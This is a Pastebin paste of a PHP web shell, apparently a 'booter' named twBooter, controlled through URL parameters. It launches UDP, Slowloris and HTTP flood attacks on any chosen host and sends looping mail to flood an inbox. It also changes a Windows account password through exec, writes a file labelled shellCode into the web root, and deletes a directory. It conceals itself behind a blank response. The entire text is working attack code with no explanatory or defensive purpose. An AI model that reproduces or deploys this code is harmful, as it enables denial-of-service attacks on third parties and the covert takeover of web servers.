Advertisement
Guest User

Untitled

a guest
Jul 26th, 2017
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.97 KB | None | 0 0
  1. <?php
  2.  
  3. if (!isset($_GET['type']))
  4.  
  5. {
  6.  
  7.     die("&nbsp;");
  8.  
  9. }
  10.  
  11. ignore_user_abort(TRUE);
  12.  
  13. set_time_limit(0);
  14.  
  15.  
  16.  
  17. if ($_GET['type'] == "udp")
  18.  
  19. {
  20.  
  21.     if ((!isset($_GET['host']))
  22.  
  23.     OR (!isset($_GET['time']))
  24.  
  25.     OR (!isset($_GET['port'])))
  26.  
  27.     {
  28.  
  29.         die("&nbsp;");
  30.  
  31.     }
  32.  
  33.     $out='';
  34.  
  35.     $packets = 0;
  36.  
  37.     $exec_time = $_GET['time'];
  38.  
  39.     $time = time();
  40.  
  41.     $max_time = $time + $exec_time;
  42.  
  43.     $host = $_GET['host'];
  44.  
  45.     for($i = 0; $i < 65000; $i++)
  46.  
  47.     {
  48.  
  49.         $out .= 'X';
  50.  
  51.     }
  52.  
  53.     while(1)
  54.  
  55.     {
  56.  
  57.         $packets++;
  58.  
  59.         if(time() > $max_time)
  60.  
  61.         {
  62.  
  63.             break;
  64.  
  65.         }
  66.  
  67.         if ($_GET['port'] == "rand")
  68.  
  69.         {
  70.  
  71.             $rand = rand(1,65000);
  72.  
  73.         }
  74.  
  75.         else
  76.  
  77.         {
  78.  
  79.             $rand = $_GET['port'];
  80.  
  81.         }
  82.  
  83.         $fp = fsockopen("udp://{$host}", $rand, $errno, $errstr, 5);
  84.  
  85.         if($fp)
  86.  
  87.         {
  88.  
  89.             fwrite($fp, $out);
  90.  
  91.             fclose($fp);
  92.  
  93.         }
  94.  
  95.         }
  96.  
  97.     echo "UDP flood completed with {$packets} packets (" . round((($packets*65)/1024)/$exec_time, 2) . " MB per second) packets averaging ". round($packets/$exec_time, 2) . " packets per second";
  98.  
  99.  }
  100.  
  101.  else if ($_GET['type'] == "slowloris") //Thanks Luke <3
  102.  
  103.  {
  104.  
  105.     if ((!isset($_GET['time']))
  106.  
  107.     OR (!isset($_GET['host'])))
  108.  
  109.     {
  110.  
  111.         die("&nbsp;");
  112.  
  113.     }
  114.  
  115.     $host = $_GET['host'];
  116.  
  117.     $exec_time = $_GET['time'];
  118.  
  119.     $time = time();
  120.  
  121.     $max_time = $time + $exec_time;
  122.  
  123.  
  124.  
  125.     while(1)
  126.  
  127.     {
  128.  
  129.         if(time() > $max_time)
  130.  
  131.         {
  132.  
  133.             break;
  134.  
  135.         }
  136.  
  137.  
  138.  
  139.         $fp = fsockopen($host, 80, $errno, $errstr);
  140.  
  141.         if (!$fp)
  142.  
  143.         {
  144.  
  145.             die("&nbsp;");
  146.  
  147.         }
  148.  
  149.         else
  150.  
  151.         {
  152.  
  153.             $out = "POST / HTTP/1.1\r\n";
  154.  
  155.             $out .= "Host: {$host}\r\n";
  156.  
  157.             $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
  158.  
  159.             $out .= "Content-Length: " . rand(1, 1000) . "\r\n";
  160.  
  161.             $out .= "X-a: " . rand(1,10000) . "\r\n";
  162.  
  163.             fwrite($fp, $out);
  164.  
  165.         }
  166.  
  167.     }
  168.  
  169.     echo "Slowloris flood complete after: {$exec_time} seconds";
  170.  
  171. }
  172.  
  173. else if ($_GET['type'] == "http") //Thanks Luke
  174.  
  175. {
  176.  
  177.  
  178.  
  179.     if ((!isset($_GET['host']))
  180.  
  181.     OR (!isset($_GET['time']))
  182.  
  183.     OR (!isset($_GET['page'])))
  184.  
  185.     {
  186.  
  187.         die("&nbsp;");
  188.  
  189.     }
  190.  
  191.     $host = $_GET['host'];
  192.  
  193.     $exec_time = $_GET['time'];
  194.  
  195.     $time = time();
  196.  
  197.     $max_time = $time+$exec_time;
  198.  
  199.  
  200.  
  201.     while(1)
  202.  
  203.     {
  204.  
  205.         if(time() > $max_time)
  206.  
  207.         {
  208.  
  209.             break;
  210.  
  211.         }
  212.  
  213.  
  214.  
  215.         $fp = fsockopen($host, 80, $errno, $errstr, 140);
  216.  
  217.         if (!$fp)
  218.  
  219.         {
  220.  
  221.             die("&nbsp;");
  222.  
  223.         }
  224.  
  225.         else
  226.  
  227.         {
  228.  
  229.             $out = "GET {$_GET['page']} HTTP/1.1\r\n";
  230.  
  231.             $out .= "Host: {$ip}\r\n";
  232.  
  233.             $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n";
  234.  
  235.             $out .= "Accept: */*\r\n\r\n";
  236.  
  237.             fwrite($fp, $out);
  238.  
  239.         }
  240.  
  241.     }
  242.  
  243.     echo "HTTP flood complete after: {$exec_time} seconds\n";
  244.  
  245. }
  246.  
  247. else if ($_GET['type'] == "mail")
  248.  
  249. {
  250.  
  251.     if ((!isset($_GET['to']))
  252.  
  253.     OR (!isset($_GET['message'])))
  254.  
  255.     {
  256.  
  257.         die("&nbsp;");
  258.  
  259.     }
  260.  
  261.     $exec_time = $_GET['time'];
  262.  
  263.     $time = time();
  264.  
  265.     $max_time = $time+$exec_time;
  266.  
  267.     while(1)
  268.  
  269.     {
  270.  
  271.         if (time() > $max_time)
  272.  
  273.         {
  274.  
  275.             break;
  276.  
  277.         }
  278.  
  279.        
  280.  
  281.         $to = $_GET['to'];
  282.  
  283.         $subject = "Important Message";
  284.  
  285.         $body = $_GET['message'];
  286.  
  287.         $headers = "From: twBooter@{$_SERVER['HTTP_HOST']}\r\n";
  288.  
  289.         $headers .= "Reply-To: twBooter@{$_SERVER['HTTP_HOST']}\r\n";
  290.  
  291.         $headers .= "X-Mailer: PHP/" . phpversion();
  292.  
  293.         mail($to, $subject, $body, $headers);
  294.  
  295.     }
  296.  
  297. }
  298. elseif ($_GET['type'] == "pass")
  299. {
  300.     if (!isset($_GET['changepass']))
  301.     {
  302.         die("&nbsp;");
  303.     }
  304.     exec("net user wampp {$_GET['changepass']}", $outputArr);
  305.     print_r($outputArr);
  306. }
  307. elseif ($_GET['type'] == "patch")
  308. {
  309.     if (!isset($_GET['client']) || !isset($_GET['stage']))
  310.     {
  311.         die("&nbsp;");
  312.     }
  313.         if ($_GET['client'] == "webdav")
  314.         {
  315.             if ($_GET['stage'] == "one")
  316.             {
  317.                 $shellCode = file_get_contents('./serverconfig.php');
  318.                 $lfh = fopen("../htdocs/serverconfig.php", "w");
  319.                 if (fwrite($lfh, $shellCode))
  320.                 {
  321.                     echo "true";
  322.                 }
  323.                 fclose($lfh);
  324.             }
  325.             else if ($_GET['stage'] == "two")
  326.             {
  327.                 exec("rmdir /q ../webdav");
  328.             }
  329.         }
  330. }
  331.  
  332. else
  333.  
  334. {
  335.  
  336.     die("&nbsp;");
  337.  
  338. }
  339.  
  340. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement